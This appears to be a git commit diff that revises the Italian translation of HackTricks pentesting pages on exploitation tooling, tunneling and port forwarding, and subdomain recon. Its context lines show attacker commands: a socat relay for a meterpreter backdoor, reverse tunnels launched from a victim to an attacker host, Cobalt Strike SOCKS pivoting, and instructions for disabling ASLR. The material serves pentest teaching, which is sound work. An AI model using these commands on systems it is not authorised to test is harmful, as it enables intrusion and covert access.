mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
Translator
parent
eb365f5900
commit
ac57836406
@ -121,7 +121,7 @@ gef➤ pattern search 0x6261617762616176
|
||||
|
||||
#### GDB stessi indirizzi
|
||||
|
||||
Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi facendo:
|
||||
Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi eseguendo:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
@ -131,8 +131,8 @@ Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli ut
|
||||
|
||||
#### Backtrace per trovare le funzioni chiamate
|
||||
|
||||
Quando hai un **binario collegato staticamente**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\
|
||||
Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate:
|
||||
Quando hai un **binario staticamente collegato**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\
|
||||
Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando non ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
@ -151,7 +151,7 @@ gef➤ bt
|
||||
|
||||
**Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\
|
||||
Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai bisogno di un offset di `0xbc`. Inoltre, se `local_10` è un canary cookie, indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\
|
||||
&#xNAN;_Remember che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._
|
||||
_Remember che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._
|
||||
|
||||
.png>)
|
||||
|
||||
@ -159,29 +159,29 @@ Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai
|
||||
```bash
|
||||
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
```
|
||||
Ottieni ogni opcode eseguito nel programma.
|
||||
Get every opcode executed in the program.
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compila senza protezioni\
|
||||
&#xNAN;**-o** --> Output\
|
||||
&#xNAN;**-g** --> Salva il codice (GDB sarà in grado di vederlo)\
|
||||
**-o** --> Output\
|
||||
**-g** --> Salva il codice (GDB sarà in grado di vederlo)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Per disattivare l'ASLR in linux
|
||||
|
||||
**Per compilare uno shellcode:**\
|
||||
**Per compilare un shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> restituisce un ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Eseguibile
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Disassembla** le sezioni eseguibili (vedi opcodes di uno shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\
|
||||
&#xNAN;**-Mintel** --> **Sintassi** Intel\
|
||||
&#xNAN;**-t** --> Tabella dei **Simboli**\
|
||||
&#xNAN;**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\
|
||||
&#xNAN;**-s -j .dtors** --> sezione dtors\
|
||||
&#xNAN;**-s -j .got** --> sezione got\
|
||||
**-d** --> **Disassembla** sezioni eseguibili (vedi opcodes di un shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\
|
||||
**-Mintel** --> Sintassi **Intel**\
|
||||
**-t** --> Tabella dei **Simboli**\
|
||||
**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\
|
||||
**-s -j .dtors** --> sezione dtors\
|
||||
**-s -j .got** --> sezione got\
|
||||
-D -s -j .plt --> sezione **plt** **decompilata**\
|
||||
&#xNAN;**-TR** --> **Ridenominazioni**\
|
||||
**-TR** --> **Ridenominazioni**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Indirizzo di "puts" da modificare in GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA).
|
||||
|
||||
@ -214,7 +214,7 @@ All'interno della cartella IDA puoi trovare binari che possono essere utilizzati
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Quindi, configura il debugger: Debugger (linux remoto) --> Opzioni di processo...:
|
||||
Quindi, configura il debugger: Debugger (linux remote) --> Opzioni di processo...:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Tunneling e Port Forwarding
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Suggerimento Nmap
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni.
|
||||
@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface
|
||||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||
ifconfig tun0 up #Activate the server side network interface
|
||||
```
|
||||
Abilita l'inoltro lato Server
|
||||
Abilita l'inoltro sul lato Server
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
@ -90,7 +90,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
## SSHUTTLE
|
||||
|
||||
Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Ad esempio, inoltrando tutto il traffico diretto a 10.10.10.0/24
|
||||
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Apri una porta nel teamserver in ascolto su tutte le interfacce che possono essere utilizzate per **instradare il traffico attraverso il beacon**.
|
||||
Apri una porta nel teamserver in ascolto su tutte le interfacce che può essere utilizzata per **instradare il traffico attraverso il beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -152,8 +152,8 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Da notare:
|
||||
|
||||
- Il reverse port forward di Beacon è progettato per **tunnellare il traffico verso il Team Server, non per il relay tra macchine individuali**.
|
||||
- Il traffico è **tunnellato all'interno del traffico C2 di Beacon**, inclusi i link P2P.
|
||||
- Il reverse port forward di Beacon è progettato per **tunnelare il traffico verso il Team Server, non per il relay tra macchine individuali**.
|
||||
- Il traffico è **tunnelato all'interno del traffico C2 di Beacon**, inclusi i link P2P.
|
||||
- **I privilegi di amministratore non sono richiesti** per creare reverse port forwards su porte alte.
|
||||
|
||||
### rPort2Port locale
|
||||
@ -227,7 +227,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
|
||||
# Display the currently running listeners on the agent -- Attacker
|
||||
listener_list
|
||||
```
|
||||
### Accesso alle porte locali dell'agente
|
||||
### Accedi alle porte locali dell'agente
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
|
||||
@ -237,7 +237,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Tunnel inverso. Il tunnel è avviato dalla vittima.\
|
||||
Tunnel inverso. Il tunnel viene avviato dalla vittima.\
|
||||
Viene creato un proxy socks4 su 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
@ -276,7 +276,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter tramite SSL Socat
|
||||
### Meterpreter attraverso SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -320,7 +320,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
È come una versione console di PuTTY (le opzioni sono molto simili a quelle di un client ssh).
|
||||
|
||||
Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio e la nostra porta ssh in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina:
|
||||
Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio ssh e la porta in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -341,7 +341,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
È necessario avere **accesso RDP al sistema**.\
|
||||
È necessario avere **accesso RDP sul sistema**.\
|
||||
Scarica:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
@ -352,9 +352,9 @@ Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** usando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
|
||||
**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
**Connetti** tramite **RDP** e carica ed esegui nel computer della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -362,13 +362,13 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare il proxy del traffico attraverso quella porta.**
|
||||
Ora puoi utilizzare [**Proxifier**](https://www.proxifier.com/) **per proxyare il traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
Puoi fare in modo che le app GUI di Windows navigano attraverso un proxy usando [**Proxifier**](https://www.proxifier.com/).\
|
||||
Puoi fare in modo che le app GUI di Windows navigano attraverso un proxy utilizzando [**Proxifier**](https://www.proxifier.com/).\
|
||||
In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che vuoi proxificare.
|
||||
In **Profile -> Proxification Rules** aggiungi il nome del programma da proxyare e le connessioni agli IP che desideri proxyare.
|
||||
|
||||
## Bypass del proxy NTLM
|
||||
|
||||
@ -391,7 +391,7 @@ Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Ora, se imposti ad esempio nel bersaglio il servizio **SSH** per ascoltare sulla porta 443. Puoi connetterti ad esso attraverso la porta 2222 dell'attaccante.\
|
||||
Potresti anche usare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222.
|
||||
Puoi anche utilizzare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
@ -403,7 +403,7 @@ Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/mic
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
È necessario avere i permessi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando query DNS.
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare dati tra di essi utilizzando query DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -440,7 +440,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Cambiare il DNS di proxychains
|
||||
|
||||
Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** potresti impostare l'IP del **domain controller**.
|
||||
Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** puoi impostare l'IP del **domain controller**.
|
||||
|
||||
## Tunnel in Go
|
||||
|
||||
@ -478,7 +478,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **è uno strumento per esporre soluzioni a Internet con un'unica riga di comando.**\
|
||||
&#xNAN;_Exposition URI sono come:_ **UID.ngrok.io**
|
||||
_Exposition URI sono come:_ **UID.ngrok.io**
|
||||
|
||||
### Installazione
|
||||
|
||||
|
||||
@ -10,8 +10,8 @@ L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla societ
|
||||
|
||||
1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
|
||||
2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
|
||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
|
||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlate alla prima (questo può essere fatto ricorsivamente).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto ricorsivamente).
|
||||
|
||||
### **Acquisizioni**
|
||||
|
||||
@ -52,7 +52,7 @@ bbot -t tesla.com -f subdomain-enum
|
||||
|
||||
```
|
||||
Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\
|
||||
Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http://ipv4info.com).
|
||||
Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
|
||||
@ -82,7 +82,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
|
||||
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **altri asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
|
||||
Puoi utilizzare strumenti online come:
|
||||
|
||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
|
||||
@ -93,7 +93,7 @@ Puoi utilizzare strumenti online come:
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuito (solo **100 ricerche gratuite**)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuito
|
||||
|
||||
Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink) (richiede una chiave API whoxy).\
|
||||
Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink)(richiede una chiave API whoxy).\
|
||||
Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.**
|
||||
@ -101,7 +101,7 @@ Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](htt
|
||||
### **Trackers**
|
||||
|
||||
Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
|
||||
Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine.
|
||||
Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su più pagine.
|
||||
|
||||
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro:
|
||||
|
||||
@ -169,7 +169,7 @@ Apparentemente è comune per le persone assegnare sottodomini a IP che apparteng
|
||||
|
||||
**Shodan**
|
||||
|
||||
Come già sai il nome dell'organizzazione proprietaria dello spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
|
||||
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
@ -181,8 +181,8 @@ Potresti accedere al **certificato TLS** della pagina web principale, ottenere i
|
||||
|
||||
Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registralo (se abbastanza economico) e fai sapere all'azienda.
|
||||
|
||||
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
&#xNAN;_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._
|
||||
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._
|
||||
|
||||
## Sottodomini
|
||||
|
||||
@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
- [**gobuster**](https://github.com/OJ/gobuster): Penso che questo utilizzi solo 1 risolutore
|
||||
- [**gobuster**](https://github.com/OJ/gobuster): Penso che questo utilizzi solo 1 risolutore.
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
@ -353,11 +353,11 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo brutale i nomi di dominio in modo asincrono.
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo asincrono i nomi di dominio.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Second DNS Brute-Force Round
|
||||
### Seconda fase di brute-force DNS
|
||||
|
||||
Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi generare alterazioni dei sottodomini trovati per cercare di trovarne ancora di più. Diversi strumenti sono utili a questo scopo:
|
||||
|
||||
@ -365,8 +365,8 @@ Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi g
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini generare permutazioni.
|
||||
- Puoi ottenere le permutazioni di goaltdns **wordlist** in [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini, genera permutazioni.
|
||||
- Puoi ottenere le permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare permutazioni di sottodomini, può anche provare a risolverli (ma è meglio usare gli strumenti commentati in precedenza).
|
||||
- Puoi ottenere le permutazioni di altdns **wordlist** **qui** [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
- Puoi ottenere le permutazioni di altdns **wordlist** in [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
@ -401,7 +401,7 @@ echo www | subzuf facebook.com
|
||||
```
|
||||
### **Flusso di lavoro per la scoperta di sottodomini**
|
||||
|
||||
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer:
|
||||
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** così non devo avviare manualmente un sacco di strumenti sul mio computer:
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
@ -451,22 +451,22 @@ Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambit
|
||||
|
||||
### **Monitorizzazione**
|
||||
|
||||
Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)lo fa.
|
||||
Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)fa.
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
|
||||
Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Controlla per possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
&#xNAN;_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
|
||||
## IPs
|
||||
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli IP, domini e sottodomini**.\
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e sottodomini**.\
|
||||
È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/sottodomini (query DNS).**
|
||||
|
||||
Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Utilizzando i servizi delle seguenti **api gratuite** puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
@ -474,15 +474,15 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
|
||||
**Scansiona tutte le porte degli IP che non appartengono a CDNs** (poiché probabilmente non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**.
|
||||
**Scansiona tutte le porte degli IP che non appartengono a CDN** (poiché è altamente probabile che non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**.
|
||||
|
||||
**Trova una** [**guida**](../pentesting-network/index.html) **su come scansionare gli host.**
|
||||
|
||||
## Caccia ai server web
|
||||
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli IP, i domini e i sottodomini all'interno dell'ambito. È tempo di cercare server web.
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e sottodomini all'interno dell'ambito. È tempo di cercare server web.
|
||||
|
||||
Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito.
|
||||
Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi veloci per cercare server web** all'interno dell'ambito.
|
||||
|
||||
Si prega di notare che questo sarà **orientato alla scoperta di app web**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansione delle porte** anche (**se consentito** dall'ambito).
|
||||
|
||||
@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
```
|
||||
